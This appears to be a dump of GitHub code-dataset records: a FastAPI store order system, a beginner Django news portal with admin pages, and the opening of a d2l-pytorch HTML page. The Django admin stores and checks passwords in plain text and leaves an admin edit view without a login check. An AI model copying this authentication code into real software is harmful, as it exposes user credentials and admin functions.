Документация в endpoints - /docs\n" }, { "alpha_fraction": 0.6282722353935242, "alphanum_fraction": 0.6308900713920593, "avg_line_length": 31.742856979370117, "blob_id": "dd7a596d37422a5b2d66369f6a21a462250e2838", "content_id": "4bbfb4bb79e1dd92778407cf94b0e732f2a6ee34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1146, "license_type": "no_license", "max_line_length": 168, "num_lines": 35, "path": "/management_system/services/accountant.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from typing import List, Optional\nfrom datetime import date\n\nfrom fastapi import Depends\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import and_\n\nfrom ..database.conf_db import get_session\nfrom ..database import tables\nfrom ..models.accountant import OrderListModel\n\n\nclass AccountantService:\n def __init__(self, session: Session = Depends(get_session)):\n self.session = session\n\n @staticmethod\n def format_date(str_date) -> date:\n temp_date = str_date.split(\".\")\n try:\n new_date = date(\n int(temp_date[2]),\n int(temp_date[1]),\n int(temp_date[0])\n )\n except:\n new_date = None\n return new_date\n\n def get_orders(self, date_start: Optional[str] = None, date_end: Optional[str] = None) -> List[OrderListModel]:\n query = self.session.query(tables.OrderDB)\n if date_end and date_start:\n query = query.filter(and_(tables.OrderDB.create_order_date >= self.format_date(date_start), tables.OrderDB.create_order_date <= self.format_date(date_end)))\n orders = query.all()\n return orders\n" }, { "alpha_fraction": 0.6147308945655823, "alphanum_fraction": 0.6487252116203308, "avg_line_length": 18.61111068725586, "blob_id": "a8bb269471c6fa18574c7e50b5349ddc3cb24232", "content_id": "e6be2376d2592b3c752b031baadd002f56548fc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 411, "license_type": "no_license", "max_line_length": 46, "num_lines": 18, "path": "/management_system/settings.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "# ---\n# Конфигурации приложения\n# ---\nfrom pydantic import BaseSettings\n\n\nclass Settings(BaseSettings):\n server_host: str = \"127.0.0.1\"\n server_port: int = 8000\n # подключение базы данных\n database_url: str = \"sqlite:///db.sqlite3\"\n\n\nsettings = Settings(\n # чтение настроек с dotenv\n _env_file=\".env\",\n _env_file_encoding=\"utf-8\"\n)\n" }, { "alpha_fraction": 0.667070209980011, "alphanum_fraction": 0.6725181341171265, "avg_line_length": 27.98245620727539, "blob_id": "f7be0d1e06aee9ce546498bb7fe5a0176f1bd4cf", "content_id": "680e64927939798c974d9e30a99daa9b9cddd627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1778, "license_type": "no_license", "max_line_length": 77, "num_lines": 57, "path": "/management_system/database/tables.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "# ---\n# описание таблиц базы данных\n# ---\nfrom datetime import datetime\n\nfrom sqlalchemy import Column, Integer, String, Boolean, Numeric, DateTime\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.sql import func\n\n\nBase = declarative_base()\n\n\nclass ProductDB(Base):\n \"\"\"модель товара с бд\"\"\"\n __tablename__ = \"product\"\n id = Column(Integer, primary_key=True, unique=True)\n name = Column(String)\n price = Column(Numeric(10, 2))\n create_product_date = Column(DateTime(timezone=True), default=func.now())\n\n def __repr__(self):\n return f\"Идинтификатор товара: {self.id}\"\n\n\nclass OrderDB(Base):\n \"\"\"модель заказа с бд\"\"\"\n __tablename__ = \"order\"\n id = Column(Integer, primary_key=True, unique=True)\n id_product = Column(Integer)\n name_product = Column(String)\n price_order = Column(Numeric(10, 2))\n create_order_date = Column(DateTime(timezone=True), default=func.now())\n status_order = Column(String, default=\"new\")\n status_check = Column(Boolean, default=False)\n\n def __repr__(self):\n return f\"Номер заказа: {self.id}\"\n\n\nclass CheckDB(Base):\n \"\"\"модель счета с бд\"\"\"\n __tablename__ = \"check\"\n id = Column(Integer, primary_key=True, unique=True)\n id_order = Column(Integer)\n name_product = Column(String)\n price_to_pay = Column(Numeric(10, 2))\n create_check_date = Column(DateTime(timezone=True), default=func.now())\n status_pay = Column(Boolean, default=False)\n\n def __repr__(self):\n return f\"Номер счета: {self.id}\"\n\n\n# создание базы данных\n# from management_system.database.conf_db import engine\n# Base.metadata.create_all(engine)\n" }, { "alpha_fraction": 0.6776859760284424, "alphanum_fraction": 0.6776859760284424, "avg_line_length": 14.125, "blob_id": "bd87d60b966c59161d7f29fbbc4a0f370af85e99", "content_id": "ce7d2dfaef50dfcb5a9f714c9dd54f029ad8daaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 121, "license_type": "no_license", "max_line_length": 32, "num_lines": 8, "path": "/management_system/models/__init__.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from pydantic import BaseModel\n\n\nclass BaseClassModel(BaseModel):\n id: int\n\n class Config:\n orm_mode = True\n" }, { "alpha_fraction": 0.7032679915428162, "alphanum_fraction": 0.7032679915428162, "avg_line_length": 23.677419662475586, "blob_id": "0314e5cc3a2f17418c9d8cb05f6eab03adb86db1", "content_id": "ca8a18101af0e524d61ba807fa9199522dddb483", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 874, "license_type": "no_license", "max_line_length": 73, "num_lines": 31, "path": "/management_system/api/seller.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from typing import List\n\nfrom fastapi import APIRouter, Depends\n\nfrom ..models.seller import OrderListModel\nfrom ..services.seller import SellerService\n\n\nrouter = APIRouter(\n prefix=\"/seller\",\n tags=[\"Продавец-консультант\"]\n)\n\n\[email protected](\"/orders_new\", response_model=List[OrderListModel])\ndef get_orders_status_new(service: SellerService = Depends()):\n \"\"\"\n ## Получение списка новых созданных кассиром заказов\n \"\"\"\n return service.get_orders()\n\n\[email protected](\"/order_completed/{order_id}\", response_model=OrderListModel)\ndef update_status_order(\n order_id: int,\n service: SellerService = Depends()\n):\n \"\"\"\n ## Перевод заказа в статус выполненный с указание id заказа\n \"\"\"\n return service.update_status_order(order_id)\n" }, { "alpha_fraction": 0.8611111044883728, "alphanum_fraction": 0.8611111044883728, "avg_line_length": 35, "blob_id": "ea235c880a4f01cba8f5a3df49ec906f56fe201e", "content_id": "84acbf20f621be384bcecffc7938677ca3d58f3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 36, "license_type": "no_license", "max_line_length": 35, "num_lines": 1, "path": "/management_system/models/seller.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from .cashier import OrderListModel\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 38, "blob_id": "6ad064bdc926cd17e10c62fd124264e3b8287c39", "content_id": "00963509f463f9fa9c5852aab48ff44a87c19720", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 40, "license_type": "no_license", "max_line_length": 38, "num_lines": 1, "path": "/app.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from .management_system.app import app \n" }, { "alpha_fraction": 0.700507640838623, "alphanum_fraction": 0.700507640838623, "avg_line_length": 22.639999389648438, "blob_id": "8e99b4196c40ecf23edc43ec27dfbf262bec2101", "content_id": "30d7b9071753a8f44154233d949b696037ec325b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 629, "license_type": "no_license", "max_line_length": 50, "num_lines": 25, "path": "/management_system/api/products.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from fastapi import APIRouter, Depends\n\nfrom ..models.products import CreateProductModel\nfrom ..models.cashier import ProductListModel\nfrom ..services.products import ProductService\n\nrouter = APIRouter(\n prefix=\"/create-product\",\n tags=[\"Создание товара\"]\n)\n\n\[email protected](\"/\", response_model=ProductListModel)\ndef create_product(\n product_data: CreateProductModel,\n service: ProductService = Depends()\n):\n \"\"\"\n ## Добавить товар в базу данных\n \\f\n :param product_data:\n :param service:\n :return:\n \"\"\"\n return service.create_product(product_data)\n" } ]
20
abdulazizaziz/News_portal
https://github.com/abdulazizaziz/News_portal
4b87caa58e1bad5ac14e9b48ce4219f7777ad664
32c6e6dfdcaaf526ff6c1d43a6556b7b7407d5bc
ddded9b34874997ac21bf63ef8aba064f7c1c5c6
refs/heads/main
2023-07-06T04:59:31.615519
2021-08-08T07:34:12
2021-08-08T07:34:12
393,890,227
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6764705777168274, "alphanum_fraction": 0.6764705777168274, "avg_line_length": 22.799999237060547, "blob_id": "d72c769fc16f00683ff2c998dda661bdd27da276", "content_id": "e311730d88f7d6bdfc6303cb2ede0e26dc9dad9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 238, "license_type": "no_license", "max_line_length": 46, "num_lines": 10, "path": "/news/urls.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path, include\nfrom news.views import main_page, post\n\napp_name = \"news\"\n\nurlpatterns = [\n path('', main_page, name='main_page'),\n path('post/<int:id>/', post, name='post'),\n]\n" }, { "alpha_fraction": 0.6172839403152466, "alphanum_fraction": 0.6172839403152466, "avg_line_length": 15.199999809265137, "blob_id": "53b325cfcb9b8d495085efc8d38608f0bf489a3d", "content_id": "6952282f43c9d4e348d0f403ee7c26e545ba7a73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 81, "license_type": "no_license", "max_line_length": 22, "num_lines": 5, "path": "/README.md", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "# News_portal\n## Can add news\n## Can add new user\n## With Role managment\n# .....\n" }, { "alpha_fraction": 0.8110235929489136, "alphanum_fraction": 0.8110235929489136, "avg_line_length": 20.33333396911621, "blob_id": "7546f34e161dce15ac4feb1f6c334204b7b9ca80", "content_id": "55b5f39cae6d0d038538cfffd5fbd7c33239d43c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 127, "license_type": "no_license", "max_line_length": 36, "num_lines": 6, "path": "/admin_panel/admin.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom admin_panel.models import Users\n\n# Register your models here.\n\nadmin.site.register(Users)" }, { "alpha_fraction": 0.6599799394607544, "alphanum_fraction": 0.6639919877052307, "avg_line_length": 32.266666412353516, "blob_id": "0af51cb9fe67dd0d83ccccd0a812cb8aa4dc14f8", "content_id": "757b1ec165e7b75ba594e70890a18f901cdafcda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 997, "license_type": "no_license", "max_line_length": 91, "num_lines": 30, "path": "/news/models.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom admin_panel.models import Users\n\n# Create your models here.\nclass Category(models.Model):\n category_name = models.CharField(max_length=30, unique=True)\n category_post = models.IntegerField()\n\n def __str__(self):\n return self.category_name + \" - \" + str(self.category_post)\n \n class Meta:\n db_table = 'Category'\n ordering = ['id']\n \n\nclass Post(models.Model):\n title = models.CharField(max_length=50)\n description = models.TextField()\n category = models.ForeignKey(Category, blank=True, null=True, on_delete=models.CASCADE)\n post_date = models.DateTimeField(auto_now=False, auto_now_add=True)\n img = models.ImageField(upload_to=\"images\", blank=True, null=True)\n author = models.ForeignKey(Users, on_delete=models.CASCADE, blank=True, null=True)\n\n def __str__(self):\n return self.title + \" - \" + self.category.category_name\n\n class Meta:\n db_table = 'Post'\n ordering = ['-post_date']" }, { "alpha_fraction": 0.45783132314682007, "alphanum_fraction": 0.4687320590019226, "avg_line_length": 36.91304397583008, "blob_id": "d4613f6e71666d641d87e4084afbbcef3334f70e", "content_id": "11d4b1e5a9714afe1c42e531af62660052a851f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1743, "license_type": "no_license", "max_line_length": 175, "num_lines": 46, "path": "/templates/admin_panel/category.html", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "{% extends 'admin_panel/base.html' %}\n{% load static %}\n\n\n{% block home %}\n<style>\n .category_page{\n background-color: #6687B2;\n }\n</style> \n\n\n<div class=\"container\">\n <div class=\"admin_posts rounded mt-4 p-3\" style=\"background-color: rgba(0,0,0,.5)!important;\">\n <div class=\"col-12\">\n <h1 class=\"text-light d-inline\">All Categorys</h1>\n <button style=\"float: right!important;\" class=\"btn mr-auto button\"><a class=\"text-light\" href=\"{% url 'admin_panel:create_category' %}\"> Add Category </a></button>\n </div>\n <table class=\"table table-light table-striped text-center\">\n <thead>\n <tr class=\"bg-dark text-light\">\n <th class=\"col-2 bg-dark\">S.NO.</th>\n <th class=\"col-4 bg-dark\">CATEGORY NAME</th>\n <th class=\"bg-dark\">NO. OF POSTS</th>\n <th class=\"col-1 bg-dark\">EDIT</th>\n <th class=\"col-1 bg-dark\">DELETE</th>\n </tr>\n </thead>\n <tbody>\n \n {% for category in categorys %}\n <tr>\n <td>{{category.id}}</td>\n <td>{{category.category_name}}</td>\n <td>{{category.category_post}}</td>\n <td><a href=\"{% url 'admin_panel:update_category' category.id %}\"><i class=\"fa fa-edit text-warning\"></i></a></td>\n <td><a href=\"{% url 'admin_panel:delete_category' category.id %}\"><i class=\"fa fa-trash text-danger\"></i></a></td>\n </tr> \n {% endfor %}\n\n </tbody>\n </table>\n </div>\n</div>\n\n{% endblock home %}" }, { "alpha_fraction": 0.5667225122451782, "alphanum_fraction": 0.5812395215034485, "avg_line_length": 50.20000076293945, "blob_id": "07bcacf887090f8881106bf811a8f3ad99316450", "content_id": "7818ff52ebab4dc20507a46c0dbe13d4afae297a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1791, "license_type": "no_license", "max_line_length": 148, "num_lines": 35, "path": "/templates/admin_panel/create.html", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "{% extends 'admin_panel/base.html' %}\n{% load static %}\n\n{% block home %}\n <div class=\"container pt-5 col-6 bg-light py-4\">\n <h1 class=\"text-center\" style=\"color: #6687b2\">New Post</h1>\n <form action=\"{% url 'admin_panel:create' %}\" method=\"POST\" enctype=\"multipart/form-data\">\n {% csrf_token %}\n <div class=\"mb-3\">\n <label for=\"title\" class=\"form-label\">Enter Title</label>\n <input type=\"text\" class=\"form-control\" id=\"title\" name=\"title\" autocomplete=\"off\" placeholder=\"News Title\" required>\n </div>\n <div class=\"mb-3\">\n <label for=\"description\" class=\"form-label\">Enter Description</label>\n <textarea name=\"description\" id=\"description\" cols=\"30\" rows=\"10\" class=\"form-control\" placeholder=\"News Description\" required></textarea>\n </div>\n <div class=\"mb-3\">\n <label for=\"category\" class=\"form-label\">Category</label>\n <select name=\"category\" id=\"category\" class=\"form-control\" required>\n {% comment %} <option selected disabled>Category</option> {% endcomment %}\n {% for category in categorys %}\n <option value=\"{{category.id}}\">{{category.category_name}}</option>\n {% endfor %}\n </select>\n </div>\n <div class=\"mb-3\">\n <!-- <label for=\"img\" class=\"form-label btn btn-primary\">Upload Image</label> -->\n <input type=\"file\" id=\"img\" name=\"img\" class=\"form-control d-none\" required>\n <label for=\"img\" class=\"btn button col-6\" style=\"border-radius: 4px 4px 0 0;\">Upload Image</label>\n <img src=\"\" class=\"img\" id=\"image\" width=\"50%\">\n </div>\n <button type=\"submit\" class=\"btn btn-primary mt-4\">Create</button>\n </form>\n</div>\n{% endblock home %}" }, { "alpha_fraction": 0.6107086539268494, "alphanum_fraction": 0.6116142272949219, "avg_line_length": 34.769229888916016, "blob_id": "9930795492e801c2ad34ae0a3a2a371c7e680074", "content_id": "d7bddfa1934ce65c0acf3d10f4c93314fe4a1640", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8834, "license_type": "no_license", "max_line_length": 163, "num_lines": 247, "path": "/admin_panel/views.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, HttpResponseRedirect\nfrom news.models import Post, Category\nfrom django.urls import reverse_lazy\nfrom .models import Users\n\n# Create your views here.\n\n\n# login and logout pages\n# controling with sesssions\n\nfor_login_page = {\n 'title': \"LOGIN\"\n}\n\ndef login(request):\n if request.method == \"POST\":\n Puser = request.POST.get('user')\n password = request.POST.get('password')\n # users = Users.objects.all()\n # print('user: ', Puser)\n # print('password: ', password)\n # print(len(users))\n for user in Users.objects.all():\n print(user.user)\n print(user.password)\n if Puser == user.user and password == user.password:\n request.session['admin_id'] = user.id\n request.session['admin'] = user.name\n request.session['role'] = user.role\n request.session['same'] = False\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))\n else:\n for_login_page['wrong'] = \"wrong\"\n return render(request, \"admin_panel/login.html\", for_login_page)\n for_login_page['wrong'] = False\n return render(request, \"admin_panel/login.html\", for_login_page)\n\ndef logout(request):\n request.session['admin'] = False\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n\n\n\n\n\n# post pages view or controller\n\nfor_main_page = {\n 'title': \"Post\",\n}\n\ndef main_page(request):\n if request.session['admin']:\n for_main_page['user'] = request.session['admin']\n for_main_page['role'] = request.session['role']\n for_main_page['posts'] = Post.objects.all()\n return render(request, 'admin_panel/post.html', for_main_page)\n else:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n\n\ndef delete(request, id):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n if request.session['admin']:\n post = Post.objects.get(id=id)\n category = Category.objects.get(id=post.category.id)\n category.category_post -= 1\n category.save()\n post.delete()\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))\n\n\ndef edit(request, id):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n post = Post.objects.get(id=id)\n category = Category.objects.all()\n return render(request, 'admin_panel/edit.html', {'post': post, 'categorys': category, \"title\": \"EDIT\", 'user': request.session['admin']})\n\n\ndef update(request, id):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n post = Post.objects.get(id=id)\n\n category = Category.objects.get(id=post.category.id)\n category.category_post -= 1\n category.save()\n\n category = Category.objects.get(id=int(request.POST.get('category')))\n category.category_post += 1\n category.save()\n\n post.title = request.POST.get('title')\n post.description = request.POST.get('description')\n post.category = category\n if request.POST.get('img') != \"\":\n post.img = request.FILES['img']\n post.save()\n\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))\n\n\nfor_create_page = {\n 'title': \"Create\",\n}\n\ndef create(request):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n for_create_page['user'] = request.session['admin']\n for_create_page['role'] = request.session['role']\n for_create_page['categorys'] = Category.objects.all()\n if request.method == 'POST' and request.FILES['img']:\n title = request.POST.get('title')\n description = request.POST.get('description').strip()\n category = int(request.POST.get('category'))\n img = request.FILES['img']\n author = Users.objects.get(id=request.session['admin_id'])\n\n\n category_inc = Category.objects.get(id=category)\n category_inc.category_post += 1\n category_inc.save()\n news = Post.objects.create(title=title, description=description, category=Category.objects.get(id=category), img=img, author=author)\n news.save()\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))\n \n return render(request, \"admin_panel/create.html\", for_create_page)\n\n\n\n\n# Category pages view and controller \n\nfor_category_page = {\n 'title': \"Category\",\n}\ndef category(request):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n for_category_page['user'] = request.session['admin']\n for_category_page['role'] = request.session['role']\n for_category_page['categorys'] = Category.objects.all()\n return render(request, \"admin_panel/category.html\", for_category_page)\n\n\n\ndef create_category(request):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n if request.method == 'POST':\n name = request.POST.get('category')\n category = Category.objects.create(category_name=name, category_post=0)\n category.save()\n return HttpResponseRedirect(reverse_lazy('admin_panel:category'))\n return render(request, \"admin_panel/create_category.html\", {'title': 'Create Category', \"user\": request.session['admin'], 'role': request.session['role']})\n\ndef delete_category(request, id):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n category = Category.objects.get(id=id)\n category.delete()\n\n return HttpResponseRedirect(reverse_lazy('admin_panel:category'))\n\n\ndef update_category(request, id):\n category = Category.objects.get(id=id)\n if request.method != 'POST':\n return render(request, 'admin_panel/update_category.html', {'category': category})\n \n category_name = request.POST.get('category')\n category.category_name = category_name\n category.save()\n return HttpResponseRedirect(reverse_lazy('admin_panel:category'))\n\n\n\n# User pages View file and controller\n\ndef users(request):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n if request.session['role'] == 1:\n user_page = {\n 'title': \"Users\",\n 'user': request.session['admin'],\n 'role': request.session['role'],\n 'admin_id': request.session['admin_id'],\n 'users': Users.objects.all()\n }\n return render(request, \"admin_panel/users.html\", user_page)\n else:\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))\n\ndef create_user(request):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n if request.session['role'] == 1:\n if request.method == 'POST':\n name = request.POST.get('name').strip()\n user = request.POST.get('user').strip()\n password = request.POST.get('password')\n role = request.POST.get('role')\n\n if Users.objects.filter(user=user):\n request.session['same'] = True\n return HttpResponseRedirect(reverse_lazy('admin_panel:create_user'))\n\n users = Users.objects.create(name=name, user=user, password=password, role=role)\n users.save()\n return HttpResponseRedirect(reverse_lazy('admin_panel:users'))\n user_page = {\n 'title': \"Add User\",\n 'user': request.session['admin'],\n 'role': request.session['role'],\n 'same': False\n }\n if request.session['same']:\n user_page['same'] = True\n request.session['same'] = False\n return render(request, 'admin_panel/create_user.html', user_page)\n else:\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))\n\ndef delete_user(request, id):\n if not request.session['admin']:\n return HttpResponseRedirect(reverse_lazy('admin_panel:login'))\n else:\n if request.session['role'] == 1:\n user = Users.objects.get(id=id)\n user.delete()\n return HttpResponseRedirect(reverse_lazy('admin_panel:users'))\n else:\n return HttpResponseRedirect(reverse_lazy('admin_panel:main_page'))" }, { "alpha_fraction": 0.6308671236038208, "alphanum_fraction": 0.6316626667976379, "avg_line_length": 26.326086044311523, "blob_id": "939837e4ba84417a0a00294007d61325bc8390c8", "content_id": "4333297814b87b9f21d876874da0069021fc7f86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1257, "license_type": "no_license", "max_line_length": 94, "num_lines": 46, "path": "/news/views.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, HttpResponseRedirect\nfrom news.models import Category, Post\nfrom django.urls import reverse_lazy\n# Create your views here.\n\ncategory = Category.objects.all()\npost = Post.objects.all()\n\nfor_main_page = {\n 'title': \"news\",\n \"categorys\": category,\n 'posts': Post.objects.all(),\n 'recent': Post.objects.all()[:3],\n 'search': False\n}\n\nfor_post_page = {\n 'title': 'News Post',\n 'home': 'active',\n 'category': Category.objects.all()\n}\n\n\ndef main_page(request):\n if request.GET.get('id'):\n for_main_page['posts'] = Post.objects.all().filter(category=request.GET.get('id'))\n for_main_page['active'] = Category.objects.get(id=request.GET.get('id')).category_name\n for_main_page['home'] = ''\n else:\n for_main_page['posts'] = Post.objects.all()\n for_main_page['home'] = 'active'\n for_main_page['active'] = ''\n\n return render(request, 'news/home.html', for_main_page)\n\n\ndef post(request, id):\n try:\n for_post_page['post'] = Post.objects.get(id=id)\n return render(request, 'news/post.html', for_post_page)\n except:\n return HttpResponseRedirect(reverse_lazy('news:main_page'))\n\nfor_new = {\n 'categorys': Category.objects.all(),\n}\n" }, { "alpha_fraction": 0.6684073209762573, "alphanum_fraction": 0.6710183024406433, "avg_line_length": 21.58823585510254, "blob_id": "d531332a894c85096efc90c4efda03fa39a5b91b", "content_id": "9c7079e90bf06f9c0542273dff1673c826a166da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 383, "license_type": "no_license", "max_line_length": 47, "num_lines": 17, "path": "/static/js/imag_preview.js", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "var img = document.getElementById('img')\nvar image = document.getElementById('image')\n\nimg.addEventListener('change', function(){\n const file = this.files[0]\n\n if (file) {\n const reader = new FileReader()\n image.style.display = \"block\"\n reader.addEventListener('load', function(){\n image.setAttribute('src', this.result)\n })\n\n\n reader.readAsDataURL(file)\n }\n})" }, { "alpha_fraction": 0.52173912525177, "alphanum_fraction": 0.5768116116523743, "avg_line_length": 19.294116973876953, "blob_id": "f8105751fe0fd2216cada6edee5be5d1996dbda4", "content_id": "b21e33cc51be3f1081e1db45ff6cdc38770934c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 345, "license_type": "no_license", "max_line_length": 50, "num_lines": 17, "path": "/admin_panel/migrations/0003_alter_users_options.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.5 on 2021-07-30 13:58\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('admin_panel', '0002_alter_users_table'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='users',\n options={'ordering': ['id']},\n ),\n ]\n" }, { "alpha_fraction": 0.669820249080658, "alphanum_fraction": 0.669820249080658, "avg_line_length": 41.31999969482422, "blob_id": "f78f268b235cdfe84eb7c2c9f2584629b027841c", "content_id": "56e039a785fc8e7d89ffb4e1e7130ab95086c1d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1057, "license_type": "no_license", "max_line_length": 134, "num_lines": 25, "path": "/admin_panel/urls.py", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path\nfrom .views import main_page, delete, edit, update, login, logout, create, category, create_category, delete_category, update_category\nfrom .views import users, create_user, delete_user\n\napp_name = \"admin_panel\"\n\nurlpatterns = [\n path('', main_page, name=\"main_page\"),\n path('delete/<int:id>/', delete, name=\"delete\"),\n path('edit/<int:id>/', edit, name=\"edit\"),\n path('update/<int:id>', update, name=\"update\"),\n path('login', login, name=\"login\"),\n path('logout', logout, name=\"logout\"),\n path('create', create, name=\"create\"),\n\n\n path('category', category, name=\"category\"),\n path('create_category', create_category, name=\"create_category\"),\n path('delete_category/<int:id>', delete_category, name=\"delete_category\"),\n path('update_category/<int:id>', update_category, name=\"update_category\"),\n path('users', users, name=\"users\"),\n path('create_user', create_user, name=\"create_user\"),\n path('delete_user/<int:id>', delete_user, name=\"delete_user\"),\n]" }, { "alpha_fraction": 0.6277533173561096, "alphanum_fraction": 0.6310572624206543, "avg_line_length": 40.318180084228516, "blob_id": "61d28784410f1837ab8a1ceda758801d9ab27c92", "content_id": "9293f52a5d286d6d8625fcf7cbc201b634213bcb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 908, "license_type": "no_license", "max_line_length": 140, "num_lines": 22, "path": "/static/js/search.js", "repo_name": "abdulazizaziz/News_portal", "src_encoding": "UTF-8", "text": "var button = document.getElementById('search_btn')\nbutton.addEventListener('click',search)\ndocument.getElementById(\"search_char\").addEventListener(\"keyup\",search)\n\nfunction search(){\n var post = document.querySelectorAll('.post')\n var post_title = document.querySelectorAll('.post_title')\n var post_detail = document.querySelectorAll('.post_detail')\n var search_char = document.getElementById(\"search_char\").value.toLowerCase().trim()\n if(search_char.length > 1){\n for(var i=0;i<post.length; i++){\n if(post_title[i].innerHTML.toLowerCase().includes(search_char) || post_detail[i].innerHTML.toLowerCase().includes(search_char)){\n post[i].style.display = \"block\"\n // console.log(post[i])\n }else{\n post[i].style.display = \"none\"\n }\n }\n }else if(search_char.length == 0){\n pagination(ID)\n }\n}" } ]
12
Shaw-closed-up/books
https://github.com/Shaw-closed-up/books
cc622bb4140aab765970a65050dd8693d7f933ff
b55af24064abbca2b15572aea58cd8a134920878
d9bcf305808af9262f4141121fd41770ecf39fd8
refs/heads/master
2022-08-01T07:45:51.984856
2020-05-20T09:38:23
2020-05-20T09:38:23
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6013123989105225, "alphanum_fraction": 0.6447928547859192, "avg_line_length": 65.10595703125, "blob_id": "c0bd8c214ce4a6a9e52be0574933727335df1727", "content_id": "850568e5ca071bd3b7625e899f3ead22aec82d7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 25257, "license_type": "no_license", "max_line_length": 465, "num_lines": 302, "path": "/d2l-pytorch/chapter10_natural-language-processing/10.1_word2vec.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>10.1 词嵌入(word2vec) - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: 